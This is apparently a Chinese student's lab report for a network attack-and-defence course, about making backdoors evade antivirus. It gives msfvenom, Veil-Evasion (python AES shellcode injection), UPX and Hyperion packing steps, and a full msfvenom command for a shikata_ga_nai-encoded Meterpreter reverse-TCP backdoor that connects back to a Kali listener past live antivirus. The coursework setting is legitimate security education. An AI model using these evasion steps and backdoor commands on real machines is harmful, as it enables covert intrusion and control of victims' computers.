20212405 2023-2024-2 《网络与系统攻防技术》实验三实验报告

一、实验内容

1、本周学习内容总结

本周我们主要学习了后门的相关知识,简单来说一下后门:在网络攻防中,后门的概念指的是一种绕过安全控制而获取对程序或系统访问权的方法。它是一些特殊用户通过故意留在计算机系统中以特殊方式控制计算机系统的方法。后门的主要目的是方便以后再次秘密进入或控制系统。然后我们上课也介绍了几种不同的后门(测试题中也有)比如应用程序,编译器,操作系统 的后门等。

2、实验问答题

(1)杀软是如何检测出恶意代码的?

特征码检测:恶意代码通常具有特定的字节序列或特征码。杀毒软件会维护一个特征库,其中包含了已知的恶意代码特征码。当扫描文件或内存时,杀软会查找这些特征码,如果匹配,就会将其标记为恶意代码。

启发式检测:启发式检测是一种基于行为分析的方法。它通过分析程序的行为模式来判断其是否可能是恶意代码。例如,如果一个程序尝试执行不寻常的操作,如修改系统文件、禁用安全设置或进行大量网络活动,杀软可能会将其视为可疑并发出警告。

行为监测:通过监视程序运行时对系统资源的访问、文件操作、网络通信等行为,如果发现了与恶意代码行为模式相符的情况,杀软会发出警报。

校验和检查:一些杀软会计算文件或程序的校验和,并与已知的正常状态进行比较。如果校验和不匹配,这可能表明文件已被篡改或感染恶意代码。

(2)免杀是做什么?
免杀技术,全称为反杀毒技术,主要指的是一种能使病毒、木马等恶意代码免于被杀毒软件检测和清除的技术。免杀技术的实现通常涉及到对恶意代码进行修改,以改变其特征码,从而躲避杀毒软件的检测。
免杀技术涵盖的范围非常广泛,包括反汇编、逆向工程、系统漏洞利用等黑客技术,因此其难度较高,普通人很难接触到这些技术的深层内容。在实际操作中,免杀技术可能会采用加密与压缩、多层混淆、反射加载、文件伪装以及利用系统或软件漏洞等多种手段,以增加恶意代码逃避检测和清除的难度。

(3)免杀的基本方法有哪些?

直接修改特征码的十六进制法:这种方法通过把恶意代码中的特征码所对应的十六进制值修改为其数字差1或类似的十六进制值,以此来逃避杀毒软件的检测。这种方法的关键是需要精确定位到特征码对应的十六进制,并在修改后进行测试以确保恶意代码能够正常使用。
修改字符串大小写法:当特征码对应的内容是字符串时,可以通过将字符串中的大小写字母互换来修改特征码,从而实现免杀。这种方法只适用于特征码内容为字符串的情况。
等价替换法:该方法涉及将特征码所对应的汇编指令命令替换为功能类似的指令。例如,可以将JN、JNE等指令替换为JMP。这种方法要求特征码中必须存在可替换的汇编指令。
指令顺序调换法:这种方法是通过改变具有特征码的代码顺序来实现免杀。具体操作可以是互换代码的排列顺序,以此改变其特征,使其逃过杀毒软件的扫描。
花指令免杀:这种方法可能会用到各种指令,例如jmp、call、ret等,通过堆栈技巧、位置运算等复杂操作来干扰杀毒软件的检测。
加壳免杀:加壳技术可以将恶意代码的特征码全部掩盖,使得杀毒软件难以检测。然而,有些常见的壳可能会被杀毒软件直接脱掉分析,因此选择适合的壳并进行适当的混淆是加壳免杀的关键。

3、实验要求

理解免杀技术,正确使用免杀工具或技巧,来试图实现恶意代码的免杀,包括但不限于使用msf编码器、veil-evasion、加壳工具、shellcode编程等工具。
通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

二、实验过程

(一)正确使用msf编码器、veil-evasion、加壳工具、自己利用shellcode编程等免杀工具或技巧

关于使用msf编码器,首先介绍几个常用的指令如下:
-p –payload 指定需要使用的payload(攻击载荷)
-f –format 指定输出格式
-e –encoder 指定需要使用的encoder(编码器)
-b –bad-chars 设定规避字符集,badchar是payload中需要去除的字符
-i –iterations 指定payload的编码次数
以上是我比较常用的一些指令参数,下面展示我的生成可执行文件:
在这里插入图片描述
在这里插入图片描述
如图,分别用msf生成编码1、10、20次的文件(1是后补上的),然后用virustotal网站进行扫描:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
以上就是依次对编码1,10,20次的文件进行扫描,其中10,20次的扫描结果是一样的,还挺神奇的,问了同学说是正常现象,所以我之后又补了一个1次编码的。我上网查找了一些资料了解原因:比较可能的是文件本质未变。尽管文件可能经过了多次编码或混淆,但其执行的功能和包含的有效载荷可能并未改变。VirusTotal 及其背后的安全引擎主要关注文件的功能和行为,而不是其编码或混淆的形式。因此,即使文件看起来不同,只要其功能相同,扫描结果就可能一致。
接下来是使用msf生成不同格式的可执行文件:
在这里插入图片描述
在这里插入图片描述
生成后仍然交到网站进行扫描:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
以上顺序依次是.jar .apk .php .py的扫描结果,可以看出扫描出的的病毒数量也在逐渐减少,Python文件的最少。这里我忘记哪里操作出了点小问题,导致.php文件的扫描结果是0,然后发现显示php文件是空的(可见文件缩略图),后来又重新生成了正常的.php文件。

免杀软件Veil-Evasion的使用

首先使用命令sudo apt-get install veil安装veil
安装veil的时候我出了点问题,就是关于wine的报错。后来去询问老师,老师给了我一个链接,我照着链接的步骤配置后就下好了veil并且可用。
在这里插入图片描述
如图,这样就安装好了veil,然后说一下veil的使用流程:
veil #进入veil工具
use evasion #选择使用evasion模块
use c/meterpreter/rev_tcp.py #选择payload
set LHOST Linux主机IP #设置IP
set LPORT Linux端口 #设置端口
options #查看配置内容
generate #执行payload
接下来使用payload生成程序:
在这里插入图片描述
在这里插入图片描述
然后扫描结果:在这里插入图片描述

加壳工具的使用

首先是upx压缩工具
如图,安装upx:
在这里插入图片描述
如图,安装好后生成一个upx压缩的可执行程序,然后扫描:
在这里插入图片描述
接下来是加密壳,这个是Kali中一个开源的加密器,名为Hyperion,能规避反病毒软件,这个不需要下载,就是要进入该加密器所在目录然后操作:
cp 待加密软件 /usr/share/windows-resources/hyperion/ #将待加密程序拷贝到工作目录下
cd /usr/share/windows-resources/hyperion #进入工作目录下
wine hyperion.exe -v 待加密软件 加密后软件
在这里插入图片描述
这个生成了之后路径好长,我照着找半天才找到生成的文件在哪里,之前还以为没加密成功哈哈,然后进行扫描:
在这里插入图片描述

shellcode + C编程的运用

首先使用msfvenom得到shellcode:
在这里插入图片描述
然后使用命令:#1686-w64-mingw32-g++ shellcode c.c-o shellcode c.exe得到shellcode.c文件。
然后编辑这个文件,其中加入一段c代码:
在这里插入图片描述
然后看到生成的文件:
在这里插入图片描述
再拿去扫描:
在这里插入图片描述
其实效果也不算太好(小声)。

(二)通过组合应用各种技术实现恶意代码免杀

其实这个部分开始不太懂怎么做,和几个同学请教了一下,得知他们的方法一般都是异或,c语言和加密压缩壳的联合使用,但其实有一些效果也并不太明显。后来我问到了一种方法就是用python和AES加密实现的技术效果还不错,也想起来之前的检测中python文件检测出来的病毒量是最少的,所以试了一下同学的这个方法:
这个方法还是用veil,要在开始的菜单中选出自己需要的功能:
veil
Veil>:use evasion
Veil/Evasion>: list
Veil/Evasion>: use python/shellcode_inject/aes_encrypt .py
[python/shellcode_inject/aes_encrypt>>]: generate
[>]Please enter the number of your choice:2
然后就是正常的配置地址和端口制造payload:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这样就生成好了,找到了生成的文件:
在这里插入图片描述
然后接下来看免杀的效果怎么样吧,其实也没有做一个具体扫描,就是先看看能不能不被杀毒软件识别出来,先拿一个我之前生成的.php文件做对比:
在这里插入图片描述
如上图:我的杀毒软件开着,一把含有.php的u盘插到主机上就立即识别出了这个.php文件。然后试一下刚刚生成的veil.py文件:
在这里插入图片描述
可以看到它都能拷到桌面上还不被发现
在这里插入图片描述
从属性上来看也都还挺正常的,接下来就是扫描一下看看到底是什么数值:
在这里插入图片描述
看出数值降到10了,没能完全免杀但感觉还凑合,至少没被杀毒软件识别出来。

(三)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

这个实验我也没有和谁一起完成,我就直接主机虚拟机相连了。
首先使用指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b ‘\x00’ LHOST=192.168.1.112 LPORT=2405 -f raw -o 20212405.raw,生成后门文件20212405.raw。
拷到主机上的时候没有被杀毒软件拦截,我又扫描了一下,其实还是有点病毒的:
在这里插入图片描述
在这里插入图片描述
没被拦截的话我估计是和那个python+AES的一个原理吧。
然后进入msfconsole,开启监听:
在这里插入图片描述
然后在主机运行生成的raw.exe,并观察kali的情况:
在这里插入图片描述
在上一张图片ls之后有显示,说明回连成功,至此本实验完成。

二、实验遇到的问题

我感觉这次实验虽然看着任务很多,但是一个一个任务点坐下来也不算很难,我觉得这次比前两次顺利多了,主要是操作比较简单,下面说一下我遇到的问题,主要有两个方面:
一个就是大家都很容易出错的veil下载,开始我比较莽,直接用命令行下载也不配置环境,结果后面渐渐地和同学们显示的不一样,然后果然出了问题,就是我下载的时候wine的配置出了问题,我修了好久都不行,只好清理了之前下载的东西后重新安装,这回老老实实地按照老师给的教程一步一步走,就没什么大问题了,然后又学习了veil的使用方法,也就是后面涉及到AES的部分,还挺好用的一个功能吧。
另一个就是最后回连实验的时候我生成的后门软件在cmd中不知道怎么运行,我上网查了一下.raw就不是一个可执行的文件,然后我问了相同方法的同学,他给我了shellcodelauncher的一个文件夹,使用里面的程序再用-i的命令参数加上.raw文件就能正常运行了,在此十分感谢同学的帮助,另说一下这个程序其实有风险,得把杀毒软件关了才能在微信上正常接收然后使用。

三、学习感想

做完这个实验我觉得这真是参与感最高的一集(bushi。主要是我能看懂我每一步在做什么,做的结果也很易懂,我感觉自己真的在和一些后门啊病毒之类的平时看不到的恶意代码打交道了。认识了virustotal这个网站我觉得以后碰到什么风险也可以拿过去扫描一下。然后就是压缩壳和加密壳,它们俩是两种不同的加壳操作,其中加密壳的功能比较强大,不知道加密了多少步骤后生成的文件超级大,直接把我虚拟机干崩溃了,上网查找了原因知道是内存太大了进不去,我又在命令行删了一些东西才用startx命令恢复了,感觉也没完全修好。做完实验之后又对学习的后门知识和免杀原理有了深入的理解,希望我能再接再厉,以后的知识好好掌握,实验能像这次一样顺利。

  • 24
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值